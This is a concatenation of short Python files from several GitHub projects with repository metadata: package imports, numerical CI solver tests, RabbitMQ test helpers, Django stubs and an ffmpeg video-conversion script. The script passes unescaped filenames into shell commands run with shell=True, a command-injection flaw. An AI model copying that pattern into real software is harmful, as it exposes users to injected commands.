577de8912ac4747e1340909f4ebc1ae2e5955166 | 195 | py | Python | __init__.py | eblancoh/twitter-panel | c5603eca28fc3738cd50bd6ece084a1f25952546 | [
"Unlicense"
] | 3 | 2019-12-09T10:55:40.000Z | 2021-01-12T21:53:53.000Z | __init__.py | eblancoh/twitter-panel | c5603eca28fc3738cd50bd6ece084a1f25952546 | [
"Unlicense"
] | 2 | 2019-12-04T14:16:40.000Z | 2021-12-13T20:27:33.000Z | __init__.py | eblancoh/twitter-panel | c5603eca28fc3738cd50bd6ece084a1f25952546 | [
"Unlicense"
] | null | null | null | from .scraper import get_last_month_tweets
import os
# register the portals
from twitterdash import routes
from twitterdash.routes import app
from twitterdash.preprocessing import process_text
| 21.666667 | 50 | 0.85641 | 27 | 195 | 6.037037 | 0.62963 | 0.276074 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.123077 | 195 | 8 | 51 | 24.375 | 0.953216 | 0.102564 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
57fb1bfc387eca8bd6ce00b794b47dadf914b6ec | 1,903 | py | Python | tests/test_h6_chains.py | xlliu98/rlci | b72c9346f14ecf519868846aa9ebfc9ef51b38c0 | [
"MIT"
] | 3 | 2021-06-20T19:54:24.000Z | 2021-12-23T02:10:34.000Z | tests/test_h6_chains.py | xlliu98/rlci | b72c9346f14ecf519868846aa9ebfc9ef51b38c0 | [
"MIT"
] | null | null | null | tests/test_h6_chains.py | xlliu98/rlci | b72c9346f14ecf519868846aa9ebfc9ef51b38c0 | [
"MIT"
] | 2 | 2021-06-23T16:42:07.000Z | 2022-02-07T11:11:05.000Z | import numpy as np
from numpy.testing import assert_allclose
from rlci.solvers import RL
np.random.seed(1)
def test_r1p0():
M = np.loadtxt('full_hamiltonians/h6_1p00_chain.txt')
k = 40
# full diagonalization
E_exact, _ = RL(M,k=k,mode='full')
assert_allclose(-3.2576068322409553,E_exact)
# a-posteriori selected CI
E_apsCI, _ = RL(M,k=k,mode='apsci')
assert_allclose(-3.2514253974982923,E_apsCI)
# greedy selected CI
E_greedy, _ = RL(M,k=k,mode='greedy')
assert_allclose(-3.2514253974982923,E_greedy)
# RLCI -- depends on random seed, so criteria is "looser"
E_rl, s = RL(M, k, mode='rl', max_pick=50, silent=True)
assert E_rl <= E_greedy
def test_r1p5():
M = np.loadtxt('full_hamiltonians/h6_1p50_chain.txt')
k = 40
# full diagonalization
E_exact, _ = RL(M,k=k,mode='full')
assert_allclose(-3.020198096930829,E_exact)
# a-posteriori selected CI
E_apsCI, _ = RL(M,k=k,mode='apsci')
assert_allclose(-2.995049575625855,E_apsCI)
# greedy selected CI
E_greedy, _ = RL(M,k=k,mode='greedy')
assert_allclose(-2.994664375794827,E_greedy)
# RLCI -- depends on random seed, so criteria is "looser"
E_rl, s = RL(M, k, mode='rl', max_pick=50, silent=True)
assert E_rl <= E_greedy
def test_r2p0():
M = np.loadtxt('full_hamiltonians/h6_2p00_chain.txt')
k = 40
# full diagonalization
E_exact, _ = RL(M,k=k,mode='full')
assert_allclose(-2.8740730709371056,E_exact)
# a-posteriori selected CI
E_apsCI, _ = RL(M,k=k,mode='apsci')
assert_allclose(-2.8571403691550183,E_apsCI)
# greedy selected CI
E_greedy, _ = RL(M,k=k,mode='greedy')
assert_allclose(-2.857843869693096,E_greedy)
# RLCI -- depends on random seed, so criteria is "looser"
E_rl, s = RL(M, k, mode='rl', max_pick=50, silent=True)
assert E_rl <= E_greedy
| 27.985294 | 61 | 0.663689 | 295 | 1,903 | 4.074576 | 0.213559 | 0.02995 | 0.039933 | 0.037438 | 0.811148 | 0.782862 | 0.712978 | 0.712978 | 0.712978 | 0.712978 | 0 | 0.118812 | 0.203889 | 1,903 | 67 | 62 | 28.402985 | 0.674587 | 0.191802 | 0 | 0.486486 | 0 | 0 | 0.102429 | 0.068943 | 0 | 0 | 0 | 0 | 0.351351 | 1 | 0.081081 | false | 0 | 0.081081 | 0 | 0.162162 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
17b670802d453d055ee81d20ea156b99d4d84384 | 70 | py | Python | test/fixtures/projects/files/test_ee.py | valbendan/ansible-runner | a3a7d1f003996fe7c757436b021d54f4a84aa4c6 | [
"Apache-2.0"
] | 658 | 2018-04-06T19:14:03.000Z | 2022-03-31T14:48:39.000Z | test/fixtures/projects/files/test_ee.py | valbendan/ansible-runner | a3a7d1f003996fe7c757436b021d54f4a84aa4c6 | [
"Apache-2.0"
] | 783 | 2018-04-06T16:47:30.000Z | 2022-03-31T14:24:18.000Z | test/fixtures/projects/files/test_ee.py | valbendan/ansible-runner | a3a7d1f003996fe7c757436b021d54f4a84aa4c6 | [
"Apache-2.0"
] | 249 | 2018-04-06T16:44:34.000Z | 2022-03-28T10:26:19.000Z | import os
print("os-release: %s" % os.system("cat /etc/os-release"))
| 17.5 | 58 | 0.657143 | 12 | 70 | 3.833333 | 0.666667 | 0.391304 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 70 | 3 | 59 | 23.333333 | 0.741935 | 0 | 0 | 0 | 0 | 0 | 0.471429 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
17cad81eb3c3eb087670a96b52fe277deb4fbbfc | 2,645 | py | Python | tests/modules/extra/rabbitmq/mother/rabbitmq_message_configurer_mother.py | alice-biometrics/petisco | b96e697cc875f67a28e60b4fc0d9ed9fc646cd86 | [
"MIT"
] | 19 | 2019-11-01T09:27:17.000Z | 2021-12-15T10:52:31.000Z | tests/modules/extra/rabbitmq/mother/rabbitmq_message_configurer_mother.py | alice-biometrics/petisco | b96e697cc875f67a28e60b4fc0d9ed9fc646cd86 | [
"MIT"
] | 68 | 2020-01-15T06:55:00.000Z | 2022-02-22T15:57:24.000Z | tests/modules/extra/rabbitmq/mother/rabbitmq_message_configurer_mother.py | alice-biometrics/petisco | b96e697cc875f67a28e60b4fc0d9ed9fc646cd86 | [
"MIT"
] | 2 | 2019-11-19T10:40:25.000Z | 2019-11-28T07:12:07.000Z | from petisco.extra.rabbitmq import (
QueueConfig,
RabbitMqConnector,
RabbitMqMessageConfigurer,
)
from tests.modules.extra.rabbitmq.mother.defaults import (
DEFAULT_ORGANIZATION,
DEFAULT_SERVICE,
)
class RabbitMqMessageConfigurerMother:
@staticmethod
def default(connector: RabbitMqConnector = None):
connector = RabbitMqConnector() if not connector else connector
return RabbitMqMessageConfigurer(
DEFAULT_ORGANIZATION, DEFAULT_SERVICE, connector
)
@staticmethod
def with_retry_ttl_10ms(connector: RabbitMqConnector = None):
connector = RabbitMqConnector() if not connector else connector
return RabbitMqMessageConfigurer(
DEFAULT_ORGANIZATION,
DEFAULT_SERVICE,
connector,
QueueConfig.default(default_retry_ttl=10),
)
@staticmethod
def with_main_and_retry_ttl_10ms(connector: RabbitMqConnector = None):
connector = RabbitMqConnector() if not connector else connector
return RabbitMqMessageConfigurer(
DEFAULT_ORGANIZATION,
DEFAULT_SERVICE,
connector,
QueueConfig.default(default_retry_ttl=10, default_main_ttl=10),
)
@staticmethod
def with_main_and_retry_ttl_100ms(connector: RabbitMqConnector = None):
connector = RabbitMqConnector() if not connector else connector
return RabbitMqMessageConfigurer(
DEFAULT_ORGANIZATION,
DEFAULT_SERVICE,
connector,
QueueConfig.default(default_retry_ttl=100, default_main_ttl=100),
)
@staticmethod
def with_service(service: str, connector: RabbitMqConnector = None):
connector = RabbitMqConnector() if not connector else connector
return RabbitMqMessageConfigurer(
DEFAULT_ORGANIZATION,
service,
connector,
QueueConfig.default(default_retry_ttl=10),
)
@staticmethod
def with_ttl_1s(connector: RabbitMqConnector = None):
connector = RabbitMqConnector() if not connector else connector
return RabbitMqMessageConfigurer(
DEFAULT_ORGANIZATION,
DEFAULT_SERVICE,
connector,
QueueConfig.default(default_retry_ttl=1000),
)
@staticmethod
def with_queue_config(
queue_config: QueueConfig, connector: RabbitMqConnector = None
):
connector = RabbitMqConnector() if not connector else connector
return RabbitMqMessageConfigurer(
DEFAULT_ORGANIZATION, DEFAULT_SERVICE, connector, queue_config
)
| 33.910256 | 77 | 0.680151 | 224 | 2,645 | 7.8125 | 0.174107 | 0.208 | 0.104 | 0.132 | 0.779429 | 0.779429 | 0.779429 | 0.779429 | 0.779429 | 0.753143 | 0 | 0.013361 | 0.264272 | 2,645 | 77 | 78 | 34.350649 | 0.88592 | 0 | 0 | 0.565217 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.101449 | false | 0 | 0.028986 | 0 | 0.246377 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
17da67c506aa01c63b446e48eed8d33648df08cf | 269 | py | Python | eda/optimizer/selection/__init__.py | e5120/EDAs | acf86fa35182b8fe0cd913d6fb46280b2f9e6e46 | [
"MIT"
] | 3 | 2021-01-15T08:35:32.000Z | 2021-04-09T08:03:35.000Z | eda/optimizer/selection/__init__.py | e5120/EDAs | acf86fa35182b8fe0cd913d6fb46280b2f9e6e46 | [
"MIT"
] | null | null | null | eda/optimizer/selection/__init__.py | e5120/EDAs | acf86fa35182b8fe0cd913d6fb46280b2f9e6e46 | [
"MIT"
] | 3 | 2021-04-27T06:36:33.000Z | 2022-02-14T14:13:08.000Z | from eda.optimizer.selection.selection_base import SelectionBase
from eda.optimizer.selection.top import Top
from eda.optimizer.selection.tournament import Tournament
from eda.optimizer.selection.roulette import Roulette
from eda.optimizer.selection.block import Block
| 44.833333 | 64 | 0.869888 | 36 | 269 | 6.472222 | 0.305556 | 0.150215 | 0.343348 | 0.536481 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.074349 | 269 | 5 | 65 | 53.8 | 0.935743 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
a4c081f5c480e10667208542a628b0a44461891c | 127 | py | Python | sound_generator/sound_generator/z_generator/__init__.py | Redict/rg_sound_generation | 6db8826d0797650bc5c1555a60cc9c6b3f82050d | [
"MIT"
] | null | null | null | sound_generator/sound_generator/z_generator/__init__.py | Redict/rg_sound_generation | 6db8826d0797650bc5c1555a60cc9c6b3f82050d | [
"MIT"
] | null | null | null | sound_generator/sound_generator/z_generator/__init__.py | Redict/rg_sound_generation | 6db8826d0797650bc5c1555a60cc9c6b3f82050d | [
"MIT"
] | null | null | null | from sound_generator.z_generator.model import ZGenerator
from sound_generator.z_generator.data_processor import ZDataProcessor
| 42.333333 | 69 | 0.905512 | 17 | 127 | 6.470588 | 0.588235 | 0.163636 | 0.327273 | 0.345455 | 0.509091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.062992 | 127 | 2 | 70 | 63.5 | 0.92437 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
35437d18d13b411977eacb214ede4852dc68ba3d | 120 | py | Python | getting_started/abs.py | AoEiuV020/LearningPython | aac0f3f99cfd3d03a96a3c0e41da8f82ea0b8c70 | [
"MIT"
] | null | null | null | getting_started/abs.py | AoEiuV020/LearningPython | aac0f3f99cfd3d03a96a3c0e41da8f82ea0b8c70 | [
"MIT"
] | null | null | null | getting_started/abs.py | AoEiuV020/LearningPython | aac0f3f99cfd3d03a96a3c0e41da8f82ea0b8c70 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
assert abs(-1) == 1
assert abs(-1.1) == 1.1
assert not abs(-1.1) is 1.1
| 17.142857 | 27 | 0.566667 | 25 | 120 | 2.72 | 0.48 | 0.176471 | 0.220588 | 0.323529 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121212 | 0.175 | 120 | 6 | 28 | 20 | 0.565657 | 0.358333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
104305afa6ead37b73b600ee25c3115c115ec420 | 44 | py | Python | src/wai/annotations/imgaug/isp/linear_contrast/component/__init__.py | waikato-ufdl/wai-annotations-processors | 9dcd5d421983cd717f738f54fcbae04ede2954d1 | [
"Apache-2.0"
] | null | null | null | src/wai/annotations/imgaug/isp/linear_contrast/component/__init__.py | waikato-ufdl/wai-annotations-processors | 9dcd5d421983cd717f738f54fcbae04ede2954d1 | [
"Apache-2.0"
] | 2 | 2020-06-17T01:59:38.000Z | 2020-06-17T02:03:06.000Z | src/wai/annotations/imgaug/isp/linear_contrast/component/__init__.py | waikato-ufdl/wai-annotations-processors | 9dcd5d421983cd717f738f54fcbae04ede2954d1 | [
"Apache-2.0"
] | null | null | null | from ._LinearContrast import LinearContrast
| 22 | 43 | 0.886364 | 4 | 44 | 9.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 44 | 1 | 44 | 44 | 0.95 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1090b139eb3dc5793af2ff6005796b8b999ffa44 | 1,903 | py | Python | vidConf.py | wicak29/jarConv | f809cb9a60e812c54a262ed579645f88eba4e2aa | [
"MIT"
] | null | null | null | vidConf.py | wicak29/jarConv | f809cb9a60e812c54a262ed579645f88eba4e2aa | [
"MIT"
] | null | null | null | vidConf.py | wicak29/jarConv | f809cb9a60e812c54a262ed579645f88eba4e2aa | [
"MIT"
] | null | null | null | import subprocess
import sys
import os
def convert_mp4_to_avi(name, output, videocodec):
filename, file_extension = os.path.splitext(name)
path = "./uploads/"
path_output = "./compressed/"
videotag = "xvid"
audiocodec = "libmp3lame"
output = "%s%s_convert%s" % (path_output, filename, output)
cmd = "ffmpeg -i %s%s -vcodec %s -vtag %s -acodec %s -ac 2 -qscale 5 %s" % (path,name,videocodec,videotag,audiocodec,output)
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
process.wait()
return process.returncode
def convert_avi_to_mp4(name, output, videocodec):
filename, file_extension = os.path.splitext(name)
path = "./uploads/"
path_output = "./compressed/"
audiocodec = "aac"
output = "%s%s_convert%s" % (path_output, filename, output)
cmd = "ffmpeg -i %s%s -c:v %s -crf 19 -preset slow -c:a %s -strict experimental -ac 2 -b:a 192k %s" % (path,name,videocodec,audiocodec,output)
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
process.wait()
return process.returncode
def convert_mp4_to_flv(name, output, videocodec):
filename, file_extension = os.path.splitext(name)
path = "./uploads/"
path_output = "./compressed/"
output = "%s%s_convert%s" % (path_output, filename, output)
cmd = "ffmpeg -i %s%s -vcodec %s -ar 44100 -ab 96 -f flv %s" % (path,name,videocodec,output)
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
process.wait()
return process.returncode
def main():
print "something here"
if sys.argv[2] == ".mp4":
convert_avi_to_mp4(sys.argv[1], sys.argv[2], sys.argv[3])
elif sys.argv[2] == ".avi":
convert_mp4_to_avi(sys.argv[1], sys.argv[2], sys.argv[3])
elif sys.argv[2] == ".flv":
convert_mp4_to_flv(sys.argv[1], sys.argv[2], sys.argv[3])
if __name__ == "__main__":
main()
| 38.06 | 146 | 0.662638 | 272 | 1,903 | 4.496324 | 0.257353 | 0.068684 | 0.039248 | 0.068684 | 0.704007 | 0.704007 | 0.704007 | 0.704007 | 0.704007 | 0.684383 | 0 | 0.022494 | 0.182344 | 1,903 | 49 | 147 | 38.836735 | 0.763496 | 0 | 0 | 0.488372 | 0 | 0.069767 | 0.194006 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.069767 | null | null | 0.023256 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5e39d3821634d1b4ee61d3affc82cded13993e43 | 303 | py | Python | torchmeta/toy/__init__.py | hzyjerry/pytorch-meta | e63aa57984ec80d6e78f45a228232f0424b06bca | [
"MIT"
] | null | null | null | torchmeta/toy/__init__.py | hzyjerry/pytorch-meta | e63aa57984ec80d6e78f45a228232f0424b06bca | [
"MIT"
] | null | null | null | torchmeta/toy/__init__.py | hzyjerry/pytorch-meta | e63aa57984ec80d6e78f45a228232f0424b06bca | [
"MIT"
] | null | null | null | from torchmeta.toy.harmonic import Harmonic
from torchmeta.toy.sinusoid import Sinusoid
from torchmeta.toy.sinusoid_line import SinusoidAndLine
from torchmeta.toy.behaviour import Behaviour
from torchmeta.toy import helpers
__all__ = ['Harmonic', 'Sinusoid', 'SinusoidAndLine', 'helpers', 'Behaviour']
| 37.875 | 77 | 0.821782 | 36 | 303 | 6.777778 | 0.305556 | 0.266393 | 0.327869 | 0.196721 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.092409 | 303 | 7 | 78 | 43.285714 | 0.887273 | 0 | 0 | 0 | 0 | 0 | 0.155116 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.833333 | 0 | 0.833333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
eae5719aeca3cb1a494fd28871c964fa16946bc7 | 45 | py | Python | plugins/medimax/traitement/__init__.py | bsavelev/medipy | f0da3750a6979750d5f4c96aedc89ad5ae74545f | [
"CECILL-B"
] | null | null | null | plugins/medimax/traitement/__init__.py | bsavelev/medipy | f0da3750a6979750d5f4c96aedc89ad5ae74545f | [
"CECILL-B"
] | null | null | null | plugins/medimax/traitement/__init__.py | bsavelev/medipy | f0da3750a6979750d5f4c96aedc89ad5ae74545f | [
"CECILL-B"
] | 1 | 2022-03-04T05:47:08.000Z | 2022-03-04T05:47:08.000Z | from api import *
from traitement import *
| 15 | 25 | 0.733333 | 6 | 45 | 5.5 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.222222 | 45 | 2 | 26 | 22.5 | 0.942857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
eaf8789ae48ce91888475f59f9ad46822911fcfd | 165 | py | Python | apps/markets2/admin.py | uktrade/enav-alpha | 8d38f05763367ca6b6747203241f267612fd6e44 | [
"MIT"
] | null | null | null | apps/markets2/admin.py | uktrade/enav-alpha | 8d38f05763367ca6b6747203241f267612fd6e44 | [
"MIT"
] | 67 | 2016-07-11T12:57:58.000Z | 2016-08-08T12:59:19.000Z | apps/markets2/admin.py | UKTradeInvestment/enav-alpha | 8d38f05763367ca6b6747203241f267612fd6e44 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Market, Region, Country
admin.site.register(Market)
admin.site.register(Region)
admin.site.register(Country)
| 18.333333 | 43 | 0.806061 | 23 | 165 | 5.782609 | 0.478261 | 0.203008 | 0.383459 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.09697 | 165 | 8 | 44 | 20.625 | 0.892617 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
dc2427f714b2058859277e9fc7c2da871861bed9 | 48 | py | Python | io_scene_vrm/exporter/gltf2_addon_exporter_user_extension.py | iCyP/VRM_IMPORTER_for_Blender2.8 | fdabb11f125eea9363061ba240dc5b4376f4143d | [
"MIT"
] | 26 | 2020-05-25T07:24:57.000Z | 2020-08-27T06:43:48.000Z | io_scene_vrm/exporter/gltf2_addon_exporter_user_extension.py | iCyP/VRM_IMPORTER_for_Blender2.8 | fdabb11f125eea9363061ba240dc5b4376f4143d | [
"MIT"
] | 3 | 2020-06-05T15:09:32.000Z | 2020-08-13T09:46:13.000Z | io_scene_vrm/exporter/gltf2_addon_exporter_user_extension.py | iCyP/VRM_IMPORTER_for_Blender2.8 | fdabb11f125eea9363061ba240dc5b4376f4143d | [
"MIT"
] | 1 | 2021-11-07T19:41:34.000Z | 2021-11-07T19:41:34.000Z | class Gltf2AddonExporterUserExtension:
pass
| 16 | 38 | 0.833333 | 3 | 48 | 13.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02439 | 0.145833 | 48 | 2 | 39 | 24 | 0.95122 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
dc884104b9cba566a87f37ba1fb0f044f74349ee | 29 | py | Python | src/new_file.py | JackMcKew/project_workflow | c999d8d1acc19b02c05a92ed74cddff7fbf35d79 | [
"MIT"
] | null | null | null | src/new_file.py | JackMcKew/project_workflow | c999d8d1acc19b02c05a92ed74cddff7fbf35d79 | [
"MIT"
] | null | null | null | src/new_file.py | JackMcKew/project_workflow | c999d8d1acc19b02c05a92ed74cddff7fbf35d79 | [
"MIT"
] | 1 | 2022-03-28T11:00:40.000Z | 2022-03-28T11:00:40.000Z | print("My Project Workflow")
| 14.5 | 28 | 0.758621 | 4 | 29 | 5.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.103448 | 29 | 1 | 29 | 29 | 0.846154 | 0 | 0 | 0 | 0 | 0 | 0.655172 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
dc8a6d0034907e0e319da371dd44fcdd8a1fb100 | 45 | py | Python | remade_pypi/__main__.py | ChristianMichelsen/remade-pypi | 3fc3abe0159dd0639ef5d72a96cb6ef0ba9df4e3 | [
"MIT"
] | 1 | 2021-06-14T15:28:06.000Z | 2021-06-14T15:28:06.000Z | remade_pypi/__main__.py | ChristianMichelsen/remade-pypi | 3fc3abe0159dd0639ef5d72a96cb6ef0ba9df4e3 | [
"MIT"
] | null | null | null | remade_pypi/__main__.py | ChristianMichelsen/remade-pypi | 3fc3abe0159dd0639ef5d72a96cb6ef0ba9df4e3 | [
"MIT"
] | null | null | null | from remade.cli import cli_main
cli_main()
| 9 | 31 | 0.777778 | 8 | 45 | 4.125 | 0.625 | 0.424242 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.155556 | 45 | 4 | 32 | 11.25 | 0.868421 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
dc91126d321a8a1a8683c9c6498f7403561dfad0 | 22 | py | Python | main/view/__init__.py | hlefebvr/tx-gtfs | 6d42abc25d35525d027f35d35d73862534fa261d | [
"MIT"
] | 3 | 2019-08-14T07:03:30.000Z | 2022-02-11T19:00:00.000Z | main/view/__init__.py | hlefebvr/tx-gtfs | 6d42abc25d35525d027f35d35d73862534fa261d | [
"MIT"
] | 1 | 2021-03-05T20:47:23.000Z | 2021-03-17T12:33:41.000Z | main/view/__init__.py | hlefebvr/tx-gtfs | 6d42abc25d35525d027f35d35d73862534fa261d | [
"MIT"
] | 1 | 2021-11-06T17:16:21.000Z | 2021-11-06T17:16:21.000Z | from .view import View | 22 | 22 | 0.818182 | 4 | 22 | 4.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.136364 | 22 | 1 | 22 | 22 | 0.947368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
dc98cbd3a93adcf19921d8238e9dad5f352766f6 | 70 | py | Python | organisation/models.py | hiyqapp/hiYq | 9947c05718f59c6eab94e3f441c3f3227b758248 | [
"BSD-3-Clause"
] | null | null | null | organisation/models.py | hiyqapp/hiYq | 9947c05718f59c6eab94e3f441c3f3227b758248 | [
"BSD-3-Clause"
] | 6 | 2018-02-07T13:28:20.000Z | 2018-02-19T13:21:22.000Z | organisation/models.py | hiyqapp/hiYq | 9947c05718f59c6eab94e3f441c3f3227b758248 | [
"BSD-3-Clause"
] | null | null | null | from django.db import models
class Organisation(models.Model):
pass
